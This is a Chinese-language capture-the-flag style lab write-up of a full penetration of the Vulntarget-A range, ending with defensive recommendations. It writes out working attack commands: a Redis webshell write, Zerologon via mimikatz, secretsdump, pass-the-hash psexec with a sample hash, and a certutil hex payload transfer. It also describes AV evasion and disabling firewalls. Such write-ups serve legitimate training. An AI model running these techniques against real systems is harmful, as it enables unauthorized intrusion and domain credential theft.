vulntarget-a靶场笔记
字数 1873 2025-08-24 16:48:15

Vulntarget-A 靶场渗透测试教学文档

靶场环境概述

  • 网络拓扑:

    • 外网段: 192.168.1.0/24
      • Kali攻击机: 192.168.1.5
      • Win7外网主机: 192.168.1.4
    • 内网段1: 10.0.10.0/24
      • Win7内网IP: 10.0.10.98
      • 域控服务器(WIN2019$): 10.0.10.110
    • 内网段2: 10.0.20.0/24
      • Win2016服务器: 10.0.20.99
  • 系统配置:

    • 外网Win7: 通达OA系统
    • Win2016: 运行phpStudy环境
    • 域环境: vulntarget.com

渗透测试流程

第一阶段: 外网渗透

  1. 信息收集

    • 使用nmap扫描外网主机: nmap 192.168.1.4
    • 发现开放端口: 80(HTTP), 139/445(SMB)
    • 445/139端口通常考虑MS17-010漏洞,但在公网环境可能被禁用
  2. 通达OA漏洞利用

    • 访问80端口发现通达OA系统
    • 利用"绕过身份验证+任意文件上传"漏洞获取Webshell
    • 使用自动化工具快速获取shell(手工测试可参考peiqi文库)
  3. 权限提升与信息收集

    • 获取System权限
    • 发现双网卡配置:
      • 外网: 192.168.1.4
      • 内网: 10.0.10.98
    • 确认无杀软、无域环境
  4. 内网穿透

    • 上传frp工具建立内网通道
    • 使用Proxifier配置代理规则(建议工具)
    • 原因: MSF的socks代理不稳定

第二阶段: 内网横向移动

  1. 内网探测

    • 扫描10.0.10.0/24网段
    • 发现存活主机: 10.0.20.99(开放80,6379端口)
  2. Redis未授权访问利用

    • 发现Redis未授权访问漏洞
    • 利用步骤:
      10.0.20.99:6379> config set dir "C:/phpStudy/PHPTutorial/WWW/"
      10.0.20.99:6379> config set dbfilename x.php
      10.0.20.99:6379> set webshell "<?php @eval($_POST['1']);?>"
      10.0.20.99:6379> save
      
    • 推荐工具: Redis-Getshell
  3. Win2016信息收集

    • System权限
    • 双网卡:
      • 10.0.20.99
      • 10.0.10.111
    • 发现域环境:
      • 域控: WIN2019$ (10.0.10.110)
      • 域管: administrator
      • 域名: vulntarget.com
    • 存在杀软、不出网
  4. 权限维持与绕过

    • 尝试MSF上线失败(被杀)
    • 使用Tide安全团队的在线免杀服务生成C shellcode
    • 关闭防火墙后成功上线
    • 发现可直接与域控通信(10.0.10.110)

第三阶段: 域渗透

  1. 尝试多种域渗透方法

    • 令牌窃取: 失败
    • 进程注入: 有域管进程但失败
    • MS14-068: 放弃(系统版本过高)
    • Mimikatz抓取凭证: 失败(无法获取明文密码)
  2. 利用CVE-2020-1472(Zerologon)

    • 使用Mimikatz执行:
      lsadump::zerologon /target:10.0.10.110 /account:win2019$  # 检测
      lsadump::zerologon /target:10.0.10.110 /account:win2019$ /exploit  # 置空密码
      
    • 配置路由和代理:
      • 在Win2016 session上添加10.0.10.0路由
      • 开启socks代理
  3. 获取域管哈希

    • 使用Impacket的secretsdump.py:
      proxychains python3 secretsdump.py -no-pass -just-dc "vulntarget.com/win2019\$"@10.0.10.110
      
    • 获取域管哈希:
      aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
  4. 获取域控权限

    • 使用Impacket的psexec.py:
      proxychains python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget.com/administrator@10.0.10.110
      
    • 尝试MSF的psexec模块上线
    • 关闭域控防火墙后成功获取权限

第四阶段: 权限维持与文件传输技巧

  1. 不出网环境下的文件传输
    • 方法:
      • 将PE文件转为16进制
      • 使用cmd写入hex:
        cmd /c set /p="xxxxx" >>1.txt
        
      • 使用certutil还原:
        certutil -decodehex 1.txt 11.exe
        

关键知识点总结

  1. 权限相关要点:

    • 在域环境中:
      • 本地System权限 > 本地Administrator权限
      • 非域用户权限无法收集域信息
  2. 工具使用技巧:

    • 内网代理优选frp+Proxifier组合
    • MSF socks代理不稳定时可考虑替代方案
    • Redis利用推荐自动化脚本提高效率
  3. 免杀与绕过:

    • 使用在线免杀服务生成定制shellcode
    • 关闭防火墙是解决连接问题的有效方法
  4. 域渗透思路:

    • 优先尝试Zerologon等高危漏洞
    • 哈希传递(PTH)是域渗透的核心技术
    • 注意不同Windows版本对攻击技术的限制
  5. 不出网环境应对:

    • 文件传输可采用16进制编码方式
    • 善用系统自带工具如certutil进行文件操作

防御建议

  1. 对外服务:

    • 禁用不必要的端口(如139/445)
    • 及时更新OA系统补丁
  2. Redis安全:

    • 设置强密码认证
    • 限制绑定IP
    • 禁用危险命令
  3. 域安全:

    • 安装Zerologon补丁(KB4557222)
    • 启用Windows Defender攻击面减少规则
    • 限制域管账户的登录范围
  4. 系统加固:

    • 保持防火墙开启
    • 限制System权限操作
    • 监控异常进程创建行为
Vulntarget-A 靶场渗透测试教学文档 靶场环境概述 网络拓扑 : 外网段: 192.168.1.0/24 Kali攻击机: 192.168.1.5 Win7外网主机: 192.168.1.4 内网段1: 10.0.10.0/24 Win7内网IP: 10.0.10.98 域控服务器(WIN2019$): 10.0.10.110 内网段2: 10.0.20.0/24 Win2016服务器: 10.0.20.99 系统配置 : 外网Win7: 通达OA系统 Win2016: 运行phpStudy环境 域环境: vulntarget.com 渗透测试流程 第一阶段: 外网渗透 信息收集 使用nmap扫描外网主机: nmap 192.168.1.4 发现开放端口: 80(HTTP), 139/445(SMB) 445/139端口通常考虑MS17-010漏洞,但在公网环境可能被禁用 通达OA漏洞利用 访问80端口发现通达OA系统 利用"绕过身份验证+任意文件上传"漏洞获取Webshell 使用自动化工具快速获取shell(手工测试可参考peiqi文库) 权限提升与信息收集 获取System权限 发现双网卡配置: 外网: 192.168.1.4 内网: 10.0.10.98 确认无杀软、无域环境 内网穿透 上传frp工具建立内网通道 使用Proxifier配置代理规则(建议工具) 原因: MSF的socks代理不稳定 第二阶段: 内网横向移动 内网探测 扫描10.0.10.0/24网段 发现存活主机: 10.0.20.99(开放80,6379端口) Redis未授权访问利用 发现Redis未授权访问漏洞 利用步骤: 推荐工具: Redis-Getshell Win2016信息收集 System权限 双网卡: 10.0.20.99 10.0.10.111 发现域环境: 域控: WIN2019$ (10.0.10.110) 域管: administrator 域名: vulntarget.com 存在杀软、不出网 权限维持与绕过 尝试MSF上线失败(被杀) 使用Tide安全团队的在线免杀服务生成C shellcode 关闭防火墙后成功上线 发现可直接与域控通信(10.0.10.110) 第三阶段: 域渗透 尝试多种域渗透方法 令牌窃取: 失败 进程注入: 有域管进程但失败 MS14-068: 放弃(系统版本过高) Mimikatz抓取凭证: 失败(无法获取明文密码) 利用CVE-2020-1472(Zerologon) 使用Mimikatz执行: 配置路由和代理: 在Win2016 session上添加10.0.10.0路由 开启socks代理 获取域管哈希 使用Impacket的secretsdump.py: 获取域管哈希: aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 获取域控权限 使用Impacket的psexec.py: 尝试MSF的psexec模块上线 关闭域控防火墙后成功获取权限 第四阶段: 权限维持与文件传输技巧 不出网环境下的文件传输 方法: 将PE文件转为16进制 使用cmd写入hex: 使用certutil还原: 关键知识点总结 权限相关要点 : 在域环境中: 本地System权限 > 本地Administrator权限 非域用户权限无法收集域信息 工具使用技巧 : 内网代理优选frp+Proxifier组合 MSF socks代理不稳定时可考虑替代方案 Redis利用推荐自动化脚本提高效率 免杀与绕过 : 使用在线免杀服务生成定制shellcode 关闭防火墙是解决连接问题的有效方法 域渗透思路 : 优先尝试Zerologon等高危漏洞 哈希传递(PTH)是域渗透的核心技术 注意不同Windows版本对攻击技术的限制 不出网环境应对 : 文件传输可采用16进制编码方式 善用系统自带工具如certutil进行文件操作 防御建议 对外服务 : 禁用不必要的端口(如139/445) 及时更新OA系统补丁 Redis安全 : 设置强密码认证 限制绑定IP 禁用危险命令 域安全 : 安装Zerologon补丁(KB4557222) 启用Windows Defender攻击面减少规则 限制域管账户的登录范围 系统加固 : 保持防火墙开启 限制System权限操作 监控异常进程创建行为